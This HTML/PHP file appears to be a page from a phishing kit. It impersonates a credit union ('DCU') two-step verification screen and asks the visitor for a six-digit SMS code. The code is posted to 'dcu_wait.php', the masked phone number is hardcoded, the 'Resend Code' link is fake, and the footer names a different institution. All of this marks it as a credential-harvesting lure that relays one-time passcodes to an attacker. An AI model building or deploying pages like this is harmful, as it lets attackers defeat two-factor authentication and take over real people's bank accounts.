<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>DCU – Two-Step Verification</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    :root {
      --teal: #006b5e; --teal-dark: #00574c; --teal-light: #008f7a;
      --teal-pale: #e6f4f2; --teal-mid: #cceae5;
      --white: #ffffff; --offwhite: #f7faf9;
      --text: #1a2e2b; --muted: #6b8c87; --border: #c8dedd;
      --error: #c0392b; --green: #1e8c55;
      --shadow: 0 24px 64px rgba(0,107,94,.18); --radius: 10px;
    }
    html, body { height: 100%; font-family: 'Inter', sans-serif; background: var(--teal-dark); overflow-x: hidden; }

    .bg-wrap { position: fixed; inset: 0; z-index: 0; }
    .bg-wrap img { width: 100%; height: 100%; object-fit: cover; opacity: .22; }
    .bg-overlay { position: absolute; inset: 0; background: linear-gradient(135deg, rgba(0,87,76,.95) 35%, rgba(0,107,94,.80) 100%); }

    .topbar { position: relative; z-index: 10; background: rgba(0,40,35,.9); backdrop-filter: blur(10px); border-bottom: 1px solid rgba(255,255,255,.07); height: 44px; display: flex; align-items: center; padding: 0 36px; }
    .topbar-left { display: flex; }
    .topbar-left a { color: rgba(255,255,255,.6); font-size: .72rem; font-weight: 500; letter-spacing: .08em; text-transform: uppercase; text-decoration: none; padding: 0 18px; height: 44px; display: flex; align-items: center; border-right: 1px solid rgba(255,255,255,.08); transition: color .2s; }
    .topbar-left a:first-child { border-left: 1px solid rgba(255,255,255,.08); }
    .topbar-left a:hover { color: var(--white); }

    .navbar { position: relative; z-index: 10; background: var(--white); border-bottom: 1px solid var(--border); display: flex; align-items: center; padding: 0 36px; height: 72px; gap: 40px; }
    .logo img { height: 44px; display: block; }
    .nav-links { display: flex; gap: 4px; margin-left: 16px; }
    .nav-links a { color: var(--text); font-size: .83rem; font-weight: 600; text-decoration: none; padding: 8px 14px; border-radius: 6px; transition: background .2s, color .2s; }
    .nav-links a:hover { background: var(--teal-pale); color: var(--teal); }
    .nav-spacer { flex: 1; }
    .btn-pay { background: var(--teal); color: var(--white); font-size: .8rem; font-weight: 700; letter-spacing: .07em; text-transform: uppercase; text-decoration: none; padding: 10px 20px; border-radius: 6px; transition: background .2s; }
    .btn-pay:hover { background: var(--teal-dark); }

    .main { position: relative; z-index: 5; min-height: calc(100vh - 116px); display: flex; align-items: center; justify-content: center; padding: 48px 20px 64px; }

    .card { background: var(--white); border-radius: 18px; box-shadow: var(--shadow); width: 100%; max-width: 460px; overflow: hidden; animation: fadeUp .5s ease both; }
    @keyframes fadeUp { from { opacity: 0; transform: translateY(22px); } to { opacity: 1; transform: translateY(0); } }

    .card-header { background: var(--teal); padding: 26px 36px 22px; position: relative; overflow: hidden; }
    .card-header::after { content: ''; position: absolute; bottom: -24px; right: -24px; width: 100px; height: 100px; border-radius: 50%; background: rgba(255,255,255,.06); }
    .card-header h1 { font-family: 'DM Serif Display', serif; font-size: 1.6rem; color: var(--white); position: relative; z-index: 1; }
    .card-header p { color: rgba(255,255,255,.6); font-size: .83rem; margin-top: 4px; font-weight: 300; position: relative; z-index: 1; }

    .card-body { padding: 30px 36px 38px; }

    /* Phone badge */
    .phone-badge { display: flex; align-items: center; gap: 13px; background: var(--teal-pale); border: 1px solid var(--teal-mid); border-radius: var(--radius); padding: 13px 16px; margin-bottom: 24px; }
    .phone-icon { width: 38px; height: 38px; background: var(--teal); border-radius: 8px; display: flex; align-items: center; justify-content: center; flex-shrink: 0; }
    .phone-icon svg { stroke: var(--white); }
    .phone-info strong { display: block; font-size: .86rem; color: var(--text); font-weight: 700; }
    .phone-info span { font-size: .8rem; color: var(--muted); }

    /* OTP */
    .otp-label { font-size: .72rem; font-weight: 700; letter-spacing: .09em; text-transform: uppercase; color: var(--teal-dark); margin-bottom: 12px; }
    .otp-wrap { display: flex; gap: 9px; justify-content: center; margin-bottom: 8px; }
    .otp-input {
      width: 52px; height: 58px;
      border: 1.5px solid var(--border); border-radius: var(--radius);
      text-align: center; font-size: 1.5rem; font-weight: 700;
      color: var(--text); background: var(--offwhite);
      outline: none; transition: border-color .2s, box-shadow .2s;
      font-family: 'Inter', monospace;
    }
    .otp-input:focus { border-color: var(--teal); box-shadow: 0 0 0 3px rgba(0,107,94,.12); background: var(--white); }
    .otp-input.filled { border-color: var(--teal-dark); background: var(--white); }
    .otp-input.error { border-color: var(--error); }

    .timer-line { text-align: center; font-size: .81rem; color: var(--muted); margin: 14px 0 22px; }
    .timer-line span { color: var(--teal); font-weight: 700; }

    .error-msg { background: #fdf0ef; border: 1px solid #e8c0bb; border-left: 4px solid var(--error); border-radius: 8px; padding: 11px 14px; color: var(--error); font-size: .84rem; margin-bottom: 18px; display: none; }
    .error-msg.visible { display: block; animation: shake .35s ease; }
    @keyframes shake { 0%,100% { transform: translateX(0); } 25% { transform: translateX(-6px); } 75% { transform: translateX(6px); } }

    .btn-primary { width: 100%; padding: 13px; background: var(--teal); color: var(--white); border: none; border-radius: var(--radius); font-family: 'Inter', sans-serif; font-size: .88rem; font-weight: 700; letter-spacing: .1em; text-transform: uppercase; cursor: pointer; transition: background .2s, box-shadow .2s, transform .1s; box-shadow: 0 4px 20px rgba(0,107,94,.3); }
    .btn-primary:hover { background: var(--teal-dark); }
    .btn-primary:active { transform: scale(.98); }
    .btn-primary:disabled { background: #b2c8c6; box-shadow: none; cursor: not-allowed; }

    .resend-row { display: flex; justify-content: space-between; align-items: center; margin-top: 18px; font-size: .83rem; }
    .resend-row a { color: var(--teal); text-decoration: none; font-weight: 600; }
    .resend-row a:hover { text-decoration: underline; }
    .resend-row a.disabled { color: var(--muted); pointer-events: none; }
    .back-link { color: var(--muted); text-decoration: none; font-size: .82rem; transition: color .2s; }
    .back-link:hover { color: var(--teal); }

    .footer { position: relative; z-index: 5; text-align: center; padding: 0 20px 28px; color: rgba(255,255,255,.3); font-size: .72rem; }
    .footer a { color: rgba(255,255,255,.45); text-decoration: none; margin: 0 6px; }
    .footer a:hover { color: rgba(255,255,255,.8); }

    @media (max-width:640px) {
      .topbar, .navbar { padding: 0 16px; } .nav-links { display: none; }
      .card-header, .card-body { padding-left: 22px; padding-right: 22px; }
      .otp-input { width: 44px; height: 52px; font-size: 1.3rem; }
    }
  </style>
</head>
<body>

<?php session_start(); ?>

<div class="bg-wrap">
  <img src="/DELTACREDITUNION/auth/action-required/res/img/background.webp" alt="">
  <div class="bg-overlay"></div>
</div>

<div class="topbar">
  <div class="topbar-left">
    <a href="#">Insurance</a><a href="#">Investments</a><a href="#">Branches &amp; ATMs</a>
  </div>
</div>

<nav class="navbar">
  <div class="logo"><img src="/DELTACREDITUNION/auth/action-required/res/img/logo.png" alt="DCU"></div>
  <div class="nav-links">
    <a href="#">Bank</a><a href="#">Borrow</a><a href="#">Plan</a>
    <a href="#">Learn</a><a href="#">Support</a><a href="#">Services</a><a href="#">Membership</a>
  </div>
  <div class="nav-spacer"></div>
  <a href="#" class="btn-pay">Pay My Loan</a>
</nav>

<div class="main">
  <div class="card">
    <div class="card-header">
      <h1>Two-Step Verification</h1>
      <p>We sent a 6-digit code to your registered phone</p>
    </div>
    <div class="card-body">

      <div class="phone-badge">
        <div class="phone-icon">
          <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke-width="2">
            <rect x="5" y="2" width="14" height="20" rx="2"/><line x1="12" y1="18" x2="12.01" y2="18"/>
          </svg>
        </div>
        <div class="phone-info">
          <strong>Code sent to ••• ••• 3947</strong>
          <span>Standard message rates may apply</span>
        </div>
      </div>

      <div class="error-msg" id="errorMsg">⚠ Invalid code. Please try again.</div>

      <form method="POST" action="dcu_wait.php" id="smsForm" novalidate>
        <div class="otp-label">Enter verification code</div>
        <div class="otp-wrap">
          <input type="text" class="otp-input" maxlength="1" inputmode="numeric" name="d1" autocomplete="one-time-code">
          <input type="text" class="otp-input" maxlength="1" inputmode="numeric" name="d2">
          <input type="text" class="otp-input" maxlength="1" inputmode="numeric" name="d3">
          <input type="text" class="otp-input" maxlength="1" inputmode="numeric" name="d4">
          <input type="text" class="otp-input" maxlength="1" inputmode="numeric" name="d5">
          <input type="text" class="otp-input" maxlength="1" inputmode="numeric" name="d6">
        </div>
        <input type="hidden" name="otp_full" id="otp_full">

        <div class="timer-line">Code expires in <span id="countdown">10:00</span></div>

        <button type="submit" class="btn-primary" id="verifyBtn" disabled>Verify Code →</button>

        <div class="resend-row">
          <a href="#" id="resendLink" class="disabled">Resend Code</a>
          <a href="dcu_login.php" class="back-link">← Back to Login</a>
        </div>
      </form>

    </div>
  </div>
</div>

<div class="footer">
  <p>© <?= date('Y') ?> Digital Federal Credit Union. All rights reserved.
    <a href="#">Privacy Policy</a> | <a href="#">Security</a>
  </p>
</div>

<script>
  const inputs = document.querySelectorAll('.otp-input');
  const verifyBtn = document.getElementById('verifyBtn');
  const otpFull = document.getElementById('otp_full');

  inputs.forEach((input, i) => {
    input.addEventListener('input', function () {
      this.value = this.value.replace(/\D/g, '');
      if (this.value) { this.classList.add('filled'); if (i < inputs.length - 1) inputs[i+1].focus(); }
      else this.classList.remove('filled');
      checkComplete();
    });
    input.addEventListener('keydown', function (e) { if (e.key === 'Backspace' && !this.value && i > 0) inputs[i-1].focus(); });
    input.addEventListener('paste', function (e) {
      e.preventDefault();
      const paste = (e.clipboardData || window.clipboardData).getData('text').replace(/\D/g, '');
      paste.split('').slice(0,6).forEach((ch, j) => { if (inputs[i+j]) { inputs[i+j].value = ch; inputs[i+j].classList.add('filled'); } });
      checkComplete();
    });
  });

  function checkComplete() {
    const code = [...inputs].map(inp => inp.value).join('');
    otpFull.value = code;
    verifyBtn.disabled = code.length < 6;
  }

  let seconds = 600;
  const cd = document.getElementById('countdown');
  const resendLink = document.getElementById('resendLink');
  const timer = setInterval(() => {
    seconds--;
    cd.textContent = `${String(Math.floor(seconds/60)).padStart(2,'0')}:${String(seconds%60).padStart(2,'0')}`;
    if (seconds <= 0) { clearInterval(timer); cd.textContent = 'Expired'; cd.style.color = '#c0392b'; resendLink.classList.remove('disabled'); }
    if (seconds === 300) resendLink.classList.remove('disabled');
  }, 1000);

  resendLink.addEventListener('click', function (e) {
    e.preventDefault();
    if (this.classList.contains('disabled')) return;
    seconds = 600; this.classList.add('disabled'); cd.style.color = '';
    alert('A new code has been sent to your phone.');
  });

  document.getElementById('smsForm').addEventListener('submit', function (e) {
    const code = [...inputs].map(inp => inp.value).join('');
    if (code.length < 6) {
      e.preventDefault();
      document.getElementById('errorMsg').classList.add('visible');
      inputs.forEach(inp => inp.classList.add('error'));
    }
  });

  inputs[0].focus();
</script>
</body>
</html>